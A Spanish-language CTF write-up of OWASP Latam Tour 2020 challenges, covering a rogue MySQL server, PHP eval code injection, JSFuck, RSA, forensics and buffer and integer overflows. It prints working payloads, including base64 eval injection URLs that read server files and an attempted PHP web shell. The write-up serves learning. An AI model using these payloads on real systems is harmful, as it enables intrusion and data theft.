Writeup CTF OWASP Latam Tour 2020

Algunas notas personales sobre cómo resolví varios de los ejercicios de esta competencia. Pueden dejar comentarios en el foro Nuna o en el hilo de Twitter.


Ejercicio Web: Interno

Este es un ejercicio de web, nadie lo ha resuelto aún, así que debe ser difícil

Bueno, un formulario, voy a poner admin admin solo para ver.

0.0

¡Apareció mi IP pública! Puedo deducir que:

Ese formulario se está conectando a una DB MySQL y le pide usuario y contraseña. Pero el form. está configurado para usar la IP origen como BD.

Esto para nosotros es un gran plus ya que podemos controlarlo.
Entonces tenemos que montarnos una DB que le dé lo que quiere (un usuario y contraseña que corresponda a lo que yo le ponga en el form) y ya tenemos el ejercicio.

yo inspirado

Para probar esa idea, voy a Hetzner Cloud y pido una máquina con Ubuntu 18.04. Ahí instalare mi base de datos.

  • Instalo tcpdump (para ver cómo queda), curl (para las peticiones) y mariadb-server.
  • Configuro mariadb-server (/etc/mysql/mariadb.conf.d/50-server.cnf) con las opciones:
log-output = FILE
general_log
general_log_file        = /var/log/mysql/mysql_query.log

para que TODOS los querys que le lleguen sean registrados.

Además abro todas las conexiones externas agregando esto también: bind-address = 0.0.0.0

Listo, ahora voy a encender tcpdump -i eth0 -n tcp port 3306 -w intentodeconexion.pcap para tener registro de la negociación, y le pido al server remoto que inicie:

curl -v 'https://internal.ctf.owasplatam.org/login' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://internal.ctf.owasplatam.org' -H 'Referer: https://internal.ctf.owasplatam.org/' --data 'username=admin&password=admin'

He utilizado la consola web de Firefox, pestaña Red, click derecho en la petición POST y Copiar todo como CURL para tener un comando listo para copiar y pegar.

Listo, copio mi pcap a mi laptop y…

Bien, sabemos el usuario y la base de datos. La contraseña está hasheada y tienen un salt que la hace cambiar por cada intento de inicio de sesión, no vale la pena romperla. Pero la necesitamos de todas maneras, para que esa web pueda ingresar a nuestra trampa.

Una idea que tenía era forzar un Auth Plugin que mande la contraseña en texto plano, pero 1) podría habler problemas de negociación (el otro extremo tiene que aceptar y por defecto no sé si lo hace), y 2) recordé que para problemas de autenticación hay una mejor opción que se puede poner en /etc/mysql/mariadb.conf.d/50-server.cnf:

skip-grant-tables

Esta opción le dice a la DB que no cargue las tablas de privilegios, y que le dé acceso total al primero que pregunte, no importa qué password le dé o lo que el cliente haya pedido. Es muy útil para resetear contraseñas olvidadas.

Ya resuelto el problema de la password, ejecutamos el curl de nuevo y vemos el log de queries.

cat /var/log/mysql/mysql_query.log

...
200508 17:47:55    30 Connect   [email protected] as anonymous on db_pepito
                   30 Query     set autocommit=0
                   30 Query     SELECT hash, salt from tbl_users WHERE username = 'admin'

Genial, ya sabemos la tabla que usa y los campos que tenemos que llenar.

# mysql
MariaDB [(none)]> create database db_pepito;

# mysql db_pepito

MariaDB [db_pepito]> create table tbl_users (username VARCHAR(100), hash  VARCHAR(100), salt VARCHAR(100) )
MariaDB [db_pepito]> insert into table(username,hash,salt) values ('admin','$2y$10$NFZK6WXRY3fvz/lsy1UpMOo7r2lJcxiJncxoFbeKoq2A/sRn3yAU2n','');

Ok, no hay un campo de contraseña en texto plano, solo un campo de password y un salt. No sé como interactúan estos, asi que tengo que adivinar.

Haciendo una búsqueda de «tbl_users» en Google (por si el que hizo el script lo sacó de Internet) llegué a este viejo foro donde muestran algo de código de ejemplo usando una estrategia bien casera.

Si esto funciona, el campo hash tendría que ser hash($password.$salt), donde el hash puede ser md5 o algún sha.
El campo salt debería ser cualquier cadena, yo usaré milanesa por que aquí es hora de almorzar.

Como el hash debería estar quieto en la BD y la idea más básica de un salt es evitar ataques de diccionario, el hash en la BD ya debería tener el salt.
Voy al CyberChef, concateno las cadenas a mano y consigo esto: sha2('adminmilanesa') == 6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101

Estoy asumiendo que el otro extremo del sistema está usando sha256, podría estar usando otra cosa, sha512, sha1, md5, etc, pero probemos con esto primero.

MariaDB [db_pepito]> update tbl_users set hash='6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101', salt='milanesa';

Actualizo mi tabla y le pido al curl que revise.

¡Genial!

Comentarios

  • Quizás no era necesario tener un salt. O sea, poner el salt a '', o sea una cadena vacía, y generar los hashes directamente de la contraseña.
  • En /static/app.js hay algo de código JS empaquetado con Packer. Buscando en internet javascript depacker online o algo así podemos obtener un código de formulario. Con esto, podemos enterarnos de la existencia de la cabecera X-DB-Host que nos servirá para invocar las peticiones desde nuestra máquina, pero que el sitio busque la base de datos en otra IP.
    Como nosotros sabemos cURL, no lo hemos necesitado 🙂

LessOne

Ingresamos al problema. Hay un formulario, veremos cómo reacciona…

Hay un enlace de Source, y parece que nos da el código fuente del script.

Mmm, ahora hay que analizar el código y pensar.

Según la lógica del código, la variable loveme (controlada por nosotros) debe ser igual a bin2hex(random_bytes(64)) o sea, una cadena aleatoria muy grande, algo que es imposible de conseguir. Quizás haya un random seed en algún lado que podamos explotar (probablemente en heart.php). Pero eso no nos ayuda, ya que de todas maneras tenemos que intervenir heart.php.

Supongamos que queremos obtener clandestinamente heart.php. Necesitamos dos cosas:

  • Lograr meter heart.php en el PHP_SELF (fácil)
  • Setear $_GET['source'] (fácil)
  • Hacer que el regex guardián no salte. Esa está difícil.

Un ayudante crucial es basename: esta función tratará de obtener un nombre de archivo de la dirección que se le dé. Si le damos index.php/holamundo/asdf.php devolverá asdf.php: eso nos asegura que podremos poner cualquier carácter antes del nombre final 🙂

Ahora estudiaremos la expresión regular en regex101.com y podemos probar algunas cadenas para entender mejor el alcance.

Si intentamos lo primero que se nos ocurra (poner heart.php al final, como en todos los ataques con PHP_SELF) el regex se dará cuenta y no funcionará.

… y si forzamos demasiado la cadena, no funcionará 🙁

Leyendo el regex descompuesto (regex101 ayuda mucho para entenderlos) vemos que este va a saltar si el string termina en heart.php o en heart.php/ (ambos casos cubiertos por basename). Si le ponemos cosas al inicio y antes de / no pasa nada (gracias a basename) pero lo que pongamos al final afectará el nombre que highlight_file recibirá y no funcionará.

Tenemos que encontrar

  • Algo que no haga saltar al regex. O sea, no debemos terminar en / o dejarlo sin terminar.
  • Si agregamos algún caracter raro, basename tiene que descartarlo sí o sí.

En algún ejercicio de CTF alguna vez vimos codificación de caracteres para pasarlas por URL, asi que investigamos: https://en.wikipedia.org/wiki/Percent-encoding y https://www.php.net/manual/es/function.basename.php.

Se puede pasarle un caracter como %20 que significa un espacio » «, pero basename no lo descarta.

Por otro lado leer esto en la web de PHP me dio interés:

Tengo un flashback: las versiones antiguas de PHP solo soportaban manipular texto ASCII. UTF-8 es mucho más grande, y para nosotros los latinos era normal tener que cambiar a mano funciones que trataban cadenas con sus pares que comenzaban con mb_ (multibyte) ya que podías matar las funciones básicas con una ñ.

Mmm, si pones caracteres Unicode basename los borra. Esto nos viene muy bien.

Para lo de Percent Encoding no tenemos toda la tabla de caracteres Unicode a nuestra disposición, pero podemos probar con algún caracter del extremo final, que estamos seguros ya no será parte de ASCII.


Incidente Max Headroom

Tenemos un archivo: intruso.rar. No tiene contraseña y dentro hay un video.

Perfil de mediaInfo:

General
Complete name                            : /net/looper/l10e/ctf/owasp2020/intruso.mp4
Format                                   : MPEG-4
Format profile                           : Base Media / Version 2
Codec ID                                 : mp42 (isom/mp42)
File size                                : 52.5 MiB
Duration                                 : 1 min 17 s
Overall bit rate mode                    : Variable
Overall bit rate                         : 5 717 kb/s
Encoded date                             : UTC 2020-05-08 06:51:48
Tagged date                              : UTC 2020-05-08 06:51:48

Video
ID                                       : 1
Format                                   : AVC
Format/Info                              : Advanced Video Codec
Format profile                           : [email protected]
Format settings                          : CABAC / 2 Ref Frames
Format settings, CABAC                   : Yes
Format settings, Reference frames        : 2 frames
Codec ID                                 : avc1
Codec ID/Info                            : Advanced Video Coding
Duration                                 : 1 min 16 s
Bit rate mode                            : Variable
Bit rate                                 : 5 334 kb/s
Maximum bit rate                         : 6 000 kb/s
Width                                    : 1 280 pixels
Height                                   : 720 pixels
Display aspect ratio                     : 16:9
Frame rate mode                          : Constant
Frame rate                               : 29.970 (30000/1001) FPS
Standard                                 : NTSC
Color space                              : YUV
Chroma subsampling                       : 4:2:0
Bit depth                                : 8 bits
Scan type                                : Progressive
Bits/(Pixel*Frame)                       : 0.193
Stream size                              : 49.0 MiB (93%)
Language                                 : English
Encoded date                             : UTC 2020-05-08 06:51:48
Tagged date                              : UTC 2020-05-08 06:51:48
Color range                              : Limited
Color primaries                          : BT.709
Transfer characteristics                 : BT.709
Matrix coefficients                      : BT.709
Codec configuration box                  : avcC

Audio
ID                                       : 2
Format                                   : AAC LC
Format/Info                              : Advanced Audio Codec Low Complexity
Codec ID                                 : mp4a-40-2
Duration                                 : 1 min 17 s
Bit rate mode                            : Constant
Bit rate                                 : 384 kb/s
Channel(s)                               : 2 channels
Channel layout                           : L R
Sampling rate                            : 48.0 kHz
Frame rate                               : 46.875 FPS (1024 SPF)
Compression mode                         : Lossy
Stream size                              : 3.49 MiB (7%)
Language                                 : English
Encoded date                             : UTC 2020-05-08 06:51:48
Tagged date                              : UTC 2020-05-08 06:51:48

Mientras estaba por revisar cabeceras y estaba pensando por qué un viejo video tendría 384Kbps de bitrate de audio (eso es raro de ver), unos ruidos agudos por el segundo 40 asustaron a mi gato y ya me di cuenta de lo que podría ser.

Abro el archivo con Audacity.


Y esto? Puros símbolos

Abrimos la web y en el código fuente nos encontramos con un comentario sospechoso, que nos manda a /CTFuck?injection=.

Naturalmente, tenemos que inventarnos un payload y ponerlo en injection. Algo curioso, si no le respondes con alguna combinación que no forme parte de []()! te muestra LAME :\ y te manda a volar investigar esolangs. Y como el payload lo pone en una variable JS investigué esolangs con JS y salió JSFuck!

http://www.jsfuck.com/

Ya tengo mi payload 🙂

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]

Mis + se borran y eso arruina todo. Pruebo de todo pero no consigo que los + aparezcan. Intento esto por horas y me voy a dormir con la incógnita.

Al día siguiente, ya un poco más fresco:

Bien, parece que Firefox era el que estaba estorbando ¡Entonces mi navegador era el problema!

Reintenté con curl pero me mostró un error, y deduje «necesito formatear esto a un formato amigable web»

y ahora sí, ¡POR FIN!


Register Globals

Register Globals es una de esas características de PHP que le hicieron ganar esa fama de inseguro y excesivamente tolerante, maleducando a sus desarrolladores y generando molestias por parte de expertos en seguridad. Acá hay documentación de PHP sobre el tema.

En el reto nos mencionan que el programador lo ha «habilitado». Como el PHP en los retos es 7.4.x y esa rama ya no tiene código nativo para esta característica, pues es muy probable que este haya tenido que emular su comportamiento, y esto solo se puede hacer con eval(), una función a la que podemos engañar 🙂

Una URL como https://rg.ctf.owasplatam.org/?home nos devuelve una página web, y lo curioso es que si cambio aunque sea un poco eso, se rompe. Si mi idea de eval() funciona, podría intentar ejecutar algún código.

https://rg.ctf.owasplatam.org/?home;die(phpinfo());

Con esto consigo poner un phpinfo. Descubro que funciones importantes como shell_exec, system, etc. están bloqueadas. Hay algunas funciones PHP peligrosas que nos interesarán probar.

Continúo probando. Cualquier cosa con comillas y caracteres raros se pierde: ¿habrá una función que manipule las comillas? Para evitarnos problemas usaremos base64.

Al parecer estoy abusando de una chapuza de PHP que hace que $_GET[abcd] se parsee como $_GET['abcd'].
Recordemos que el primer abcd oficialmente es el nombre de una constante y no una cadena, pero PHP es muy permisivo y siempre está dispuesto a perdonarte cuando haces las cosas mal (?

Esto quiere decir que los == de un base64 no funcionarán y podrían romper todo, asi que en el cyberchef me cercioro de poner espacios al final como relleno y así no tener ningún =.

Abro el CyberChef y me invento un payload:

y lo invoco así:

Con esto saco el código fuente del mismo PHP: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(ZWNobyBmaWxlX2dldF9jb250ZW50cygnaW5kZXgucGhwJyk7));/*

Intenté parasitar la web creándome un script php que haga de shell
view-source:https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7ZmlsZV9wdXRfY29udGVudHMoJ2dyaXMucGhwJywnPHByZT4gPD9waHAgZWNobyBgJF9HRVRbMV1gPz4nKTsg));die();/* y no funciona ya que el / es read-only. Bien pensado 🙂


Ya que no podemos usar shells ni poner nada, tenemos que convivir con lo que PHP nos da.

fopen, fread y cía están bloqueados, pero file_get_contents no 😛 y eso nos ayudará a abrir los archivos.

Usando la función scandir en la carpeta actual obtuve esto:

https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7cHJpbnRfcihzY2FuZGlyKCcvdmFyL3d3dy9odG1sLycpKTsg));die();/*

Array
(
    [0] => .
    [1] => ..
    [2] => about.html
    [3] => blog.html
    [4] => home.html
    [5] => index.php
    [6] => menu.html
)

Mmm, la banders no está en la carpeta donde está el sitio.

Leamos el php.ini por si hay algo de interés: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7CmVjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGhwLzcuNC9jZ2kvcGhwLmluaScpOwpwcmludF9yKHNjYW5kaXIoJy9ldGMvcGhwLzcuNC9jZ2kvJykpOyAg));die();/*

Por casualidad, busco en / y resulta que la bandera parece estar ahí, asi que me preparo para sacarla.

https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7CnByaW50X3Ioc2NhbmRpcignLycpKTsKZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7ICAg));die();/*

Pokemon

El reto te da un archivo jpg, con un montón de pokemones en fila.

Este reto fue horrible. Resulta que cada pokemon tiene un código, y ese código en la tabla ASCII revelaba los caracteres de la flag. Lo descubrí por una corazonada, convirtiendo los dos primeros iconos en códigos y de ahi encontrar o y w en la tabla ASCII.

Tuve que armar un lienzo cuadrado en GIMP, cargar la imagen e ir moviendo la capa de pokemones 1×1 para subir el resultado a Google Images. Previamente intenté partir la imagen con ImageMagick, pero no pude.

No soy fan de Google, pero si tú lo eres, Google Lens podría ayudarte a acelerar la búsqueda.

111 o Rhyhorn 
119 w Seaking
 97 a Hypno
115 s Kangaskhan
112 p Rhydon
123 { Scyther
110 n Weezing
111 o Rhyhorn
 95 _ onyx
115 s Kangaskhan
 97 a Hypno
108 l Lickitung
103 g exeggutor
 97 a Hypno
115 s Kangaskhan
 95 _ onyx
100 d Voltorb
101 e Electrode
 95 _ onyx
116 t Horsea
117 u Seadra
 95 _ onyx
 99 c Kingler
    a
    s
    a
    _
    p
    a
114 r Tangela
    a
    _
    c
    a
122 z Mr Mime
    a
    r
    _
    p
    o
    k
    e
    m
    o
    n
    e
    s
    }

Las posiciones que quedaron sin su nombre las fui adivinando.


Sexy RSA

{"e": 65537, "n": 143661224271538282934263411490131272603833456753971204235968279103542798004441302803974552848856883859791176354833291049666990863339471313555952337006896642145159415985219509121395148933379264849587146674313764289829160921545805590526977907932411553174889936556407801840449447588062279347458475415188345233147, "flag": 141558773390691288965402676524014435074675156738797831791561387645057829565951034489235458684038874149146627519073036556211386180235230454438582088874458409101773823442089606749138591877490582041051538244869420154887374417266871885445446547108665820004097304244493155210352922415845480819328175306416176528120}

Necesitamos factorizar n en dos números primos. Por la longitud, no parece ser fácil de factorizar tradicionalmente, y eso nos empuja a pensar que hay una falla/vulnerabilidad/dejadez en su generación.

Para ese tipo de ataques no tenemos otra que recurrir a scripts, y por suerte tenemos uno que nos será muy útil: https://github.com/Ganapati/RsaCtfTool


Twinies (RSA)

Lo mismo. Acá necesité el paquete sagemath.


64+21

64+21 es 85. Esto nos hace acordar a Base85, que se ve como Base64 pero le agrega algunos caracteres más.

SHA1

Un problema raro, pero bueno…

No sabía nada de Python asi que aprendí a la fuerza Copypasteando algunas cosas armé esto:

import time
import string
import hashlib
ready = False
start = time.time()
n = 0
solved = False
quit = ""

# flag = "owasp{autor_color_pais_deporte}"
lautores = [ "yehuju", "alguien_tw", "perverthso", "tommoreno", "jere", "nico"  ]
lcolores = ["amarillo","azul","blanco","cafe","celeste","cian","gris","lila","marron","morado","naranja","negro","plata","rojo","rosa","verde","violeta"]
lpaises = ["argentina","bolivia","brasil","chile","colombia","cuba","ecuador","costarica","elsalvador","guatemala","honduras","mexico","nicaragua","panama","paraguay","peru","uruguay","venezuela"]
ldeportes = ["atletismo","badminton","baloncesto","beisbol","boxeo","buceo","ciclismo","equitacion","esgrima","esqui","futbol","gimnasia","golf","judo","natacion","paracaidismo","parapente","polo","patinaje","surf","taekwondo","tenis","voleibol"]

candidatos = []
hashedflag = "0b27a389e4e8cef7ac346c932e45272156a72039"
ready = True

# llenaremos el array

for x in lautores:
    for y in lcolores:
        for z in lpaises:
            for d in ldeportes:
                candidatos.append("owasp{"+x+"_"+y+"_"+z+"_"+d+"}")

while not solved:
    word = candidatos[n]
    hashedGuess = hashlib.sha1(bytes(word, 'utf-8')).hexdigest()
    print(word)
    if hashedflag == hashedGuess:
        solved = True
        print('-Stats-')
        print('Pass: ' + word)
        print('Attempts: ' + str(n))
        print('time: ' + str((time.time() - start)) + ' sec')
        while quit != " QUIT":
            quit = input('Type <QUIT> to quit')
    else:
        n += 1

¡y funcionó!


Just For Fun 2

Problema forense.

Tenemos un archivo: intento.img.gz. Reviso su hexdump (no hay nada raro en los costados) y le diré a binwalk que extraiga lo que pueda -e, y que lo haga recursivamente -M.

~/Descargas/ctf >>> binwalk -eM intento.img.gz

Scan Time:     2020-05-09 10:18:49
Target File:   /home/maverickp/Descargas/ctf/intento.img.gz
MD5 Checksum:  6d8e0670b96edefc109b94bf994fd9ce
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             gzip compressed data, has original file name: "intento.img", from Unix, last modified: 2020-05-09 01:38:46


Scan Time:     2020-05-09 10:18:49
Target File:   /home/maverickp/Descargas/ctf/_intento.img.gz.extracted/intento.img
MD5 Checksum:  79fcefb37222921f562729ee818bb46e
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, blocks count: 8976, image size: 9191424, rev 1.0, ext3 filesystem data, UUID=b26b376d-aa88-4850-9e05-a517a526a526
  • Necesitamos sleuthkit para que binwalk pueda extraer la imagen ext4.
  • Otra forma de extraer archivos es usando photorec.
  • Si quieres montar esta imagen ext4 y esta parece dañada, prueba montando la imagen usando otro superbloque.
~/Descargas/ctf >>> find _intento.img.gz.extracted                                                            
_intento.img.gz.extracted
_intento.img.gz.extracted/intento.img.gz
_intento.img.gz.extracted/intento.img
_intento.img.gz.extracted/_intento.img.extracted
_intento.img.gz.extracted/_intento.img.extracted/100000.ext
_intento.img.gz.extracted/_intento.img.extracted/ext-root
_intento.img.gz.extracted/_intento.img.extracted/ext-root/.estoesunlio.png.swp

Ese archivo swp tiene truco: deja a entender que «estoesunlio.png» fue editado con VIM y que el .swp es un búfer que vim dejó y no pudo cerrar. Podemos buscar cómo restaurarlo com vim -r, pero este niega poder hacerlo.

Necesitamos ver qué tiene el archivo por dentro. Para poder tener noción de la estructura, necesitamos ver también un PNG sano, no importa cualquiera.

~/Descargas/ctf >>> hexdump -C _intento.img.gz.extracted/_intento.img.extracted/ext-root/.estoesunlio.png.swp | head
00000000  0d 0a 1a 0a 00 00 00 0d  49 48 44 52 00 00 03 ce  |........IHDR....|
00000010  00 00 01 cc 08 06 00 00  00 04 42 f1 7a 00 00 00  |..........B.z...|
00000020  09 70 48 59 73 00 00 0e  c4 00 00 0e c4 01 95 2b  |.pHYs..........+|
00000030  0e 1b 00 00 00 19 74 45  58 74 53 6f 66 74 77 61  |......tEXtSoftwa|
00000040  72 65 00 67 6e 6f 6d 65  2d 73 63 72 65 65 6e 73  |re.gnome-screens|
00000050  68 6f 74 ef 03 bf 3e 00  00 20 00 49 44 41 54 78  |hot...>.. .IDATx|
00000060  9c ec dd 79 58 55 d5 e2  c6 f1 2f 0e e7 38 00 2a  |...yXU..../..8.*|
00000070  83 03 20 26 98 0a a9 e8  4d b1 cc 79 40 73 4a d1  |.. &....M..y@sJ.|
00000080  4c cd d4 ac 9c ae 8a 63  39 e6 3c e4 ac e4 90 d7  |L......c9.<.....|
00000090  4c d3 44 cb e9 aa 39 95  f3 f0 53 a9 84 34 41 4b  |L.D...9...S..4AK|
~/Descargas/ctf >>> hexdump -C ../logo.png | head
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 01 f4 00 00 01 f4  08 06 00 00 00 cb d6 df  |................|
00000020  8a 00 00 00 04 67 41 4d  41 00 00 b1 8f 0b fc 61  |.....gAMA......a|
00000030  05 00 00 00 20 63 48 52  4d 00 00 7a 26 00 00 80  |.... cHRM..z&...|
00000040  84 00 00 fa 00 00 00 80  e8 00 00 75 30 00 00 ea  |...........u0...|
00000050  60 00 00 3a 98 00 00 17  70 9c ba 51 3c 00 00 00  |`..:....p..Q<...|
00000060  06 62 4b 47 44 00 ff 00  ff 00 ff a0 bd a7 93 00  |.bKGD...........|
00000070  00 00 09 70 48 59 73 00  00 2e 23 00 00 2e 23 01  |...pHYs...#...#.|
00000080  78 a5 3f 76 00 00 00 07  74 49 4d 45 07 e3 07 15  |x.?v....tIME....|
00000090  0b 11 05 a6 05 80 4f 00  00 80 00 49 44 41 54 78  |......O....IDATx|

Algo llamativo fue que los magic numbers no coincidían. La estructura del resto del archivo era similar (lo cual descarta byte swaps, cifrados como XOR o cambio de endianidad), pero más tarde me di cuenta que a nuestro archivo no le habían cambiado los magic numbers: se los habian quitado.

Instalé rápidamente el primer editor hexadecimal que vi en Internet y le puse los magic numbers que faltaban: 89 50 4E 47.

Y conseguimos recuperar el archivo.

No tan distintos

Nos dan un pcap que abrimos con Wireshark. Como suelen estar llenos de ruido (en los CTF tenemos que asumir que los pcaps siempre estarán llenos de basura y no nos servirá recorrerlos a mano) tenemos que aprender a usar filtros.

Revisando muy rápidamente a mano vemos algún tráfico HTTP.

vemos que han iniciado sesión con una contraseña Pa$$word4web. y piden un archivo que podemos extraer con Export Packet Bytes.

pero ese archivo tiene password 🙁

~/Descargas/ctf >>> unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: 
   skipping: flag.txt                incorrect password

Las passwords anteriores no sirven, asi que continuamos revisando el pcap. Mientras veo un paquete HTTP sospechoso al final, quito el filtro y me entero que hay tráfico de otro tipo: FTP.

La negociación FTP es sencilla y podemos verla directamente desde ls lista de paquetes.

la contraseña es Pa$$word4ftp. ahora, y la sesión deja entender que la primera contraseña y esta están relacionadas, y acordándome de otro CTF, podríamos intentar seguir ese patrón con el zip.

~/Descargas/ctf >>> unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: Pa$$word4zip.
 extracting: flag.txt                
~/Descargas/ctf >>> cat flag.txt
owasp{los_admins_y_sus_patrones_de_password}%

Over Easy (Buffer Overflow)

Este problema es de Buffer Overflow.

Esta vez, gracias a que tenemos el código fuente, podemos entender lo que hace el programa y cómo podemos atacarlo.

Este es el programa: (le hice una modificación menor)

/* 
gcc -fno-stack-protector over_easy.c -o over_easy -m32 -no-pie
*/

#include <stdlib.h>
#include <stdio.h>

int main() {
        setvbuf(stdout, NULL, _IONBF, 0);
        int cookie;
        char buf[80] = "Hola, bienvenido al OWASP LATAM Tour!!!\n\n";
        printf(buf);
        printf("buf esta en %08x y cookie en %08x\n y la flag es....\n", &buf, &cookie);
    printf("give me your input!!! ");
        gets(buf);

    printf("cookie=%08x", cookie);
        if (cookie == 0x41424344)
        {
     setreuid(geteuid(), geteuid());
     printf("\nLa flag es: ");
     fflush(stdout);
     system("/bin/cat flag");
        }
}

Ejecutemos el programa:

~/Descargas/ctf >>> ../over_easy                                                                              
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ff85932c y cookie en ff85937c
 y la flag es....
give me your input!!! lol

El programa al ejecutarse nos pide que ingresemos algo. Yo agrego algo random y el programa termina sin más.

Leyendo el código veo que la entrada se guarda en la variable buf (que tiene como tamaño fijo 80 caracteres). Y por las direcciones que se muestran, puedo deducir el tamaño de buf desde el exterior: (0xff85932c-0xff85937c) == (0x50) == (80)

Viendo la fuente, el reto nos pide que escribamos ‘ABCD’ en cookie y como este va después de buf, entonces tenemos que conseguir desbordar buf. buf tiene 80 caracteres (los cuales rellenaremos con A), asi que tenemos que escribir 84 siendo estos 4 últimos ‘ABCD’:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD

El primer intento no funciona:

~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005                                                     
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ff8a405c y cookie en ff8a40ac
 y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD

No sé como estara cookie, asi que edito mi copia en C del programa, le agrego un printf para ver qué tiene cookie y lo ejecuto en mi máquina:

~/Descargas/ctf >>> ../over_easy
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en fff0eccc y cookie en fff0ed1c
 y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
cookie=44434241%

Mmm, tenía que salir 41424344 pero sale 44434241. Quizás un byte swap? O algo que no haya considerado? Como tenemos prisa, cambiaremos el orden a mano.

Cambio el orden y ahora queda así: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA

~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ffa0412c y cookie en ffa0417c
 y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA

La flag es: owasp{tu_primer_buffer_overflow?}

Si, fue mi primer buffer overflow que hice a mano 🙂


Into the flow

Otro ejercicio divertido, pero este es integer overflow.

Esta es la fuente:

/*
gcc -fno-stack-protector intover.c -o intover
*/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void check(int n)
{
    if (!n){
      setreuid(geteuid(), geteuid());
          printf("[+] Logrado \n");
          printf("\nLa flag es: ");
      fflush(stdout);
      system("/bin/cat flag");
        }
    else
        printf("nop, el número %d no era...\n", n);
}

int main(void)
{
        setvbuf(stdout, NULL, _IONBF, 0);
        printf("Hola, bienvenido al OWASP LATAM Tour\n");
        printf("Adiviná en que número estoy pensando? ");

    long int a;
    scanf("%ld", &a);

    if (a == 0)
        printf("Sin trampas...\n");
    else
        check(a);
    return 0;
}

Para no hacer largo el cuento, hay varios detalles que llaman la atención:

  • el número que debemos envenenar pasa por main como long int pero pasa por check como int 👀
  • el if(!n) de check(n) no se entiende a un principio, pero podemos desdoblarlo a if(n==0) y esto nos ayuda a entender mejor.

Leyendo sobre límites en C, vemos que necesitamos un número que:

  • Sobrepase int
  • Que no sobrepase long int, y
  • Que en int sea 0.
~/Descargas/ctf >>> nc intover.ctf.owasplatam.org 10003
Hola, bienvenido al OWASP LATAM Tour
Adiviná en que número estoy pensando? 4294967296
[+] Logrado 

La flag es: owasp{!s_4n_integ3r_overfl0w!!}

¡Gracias por leer!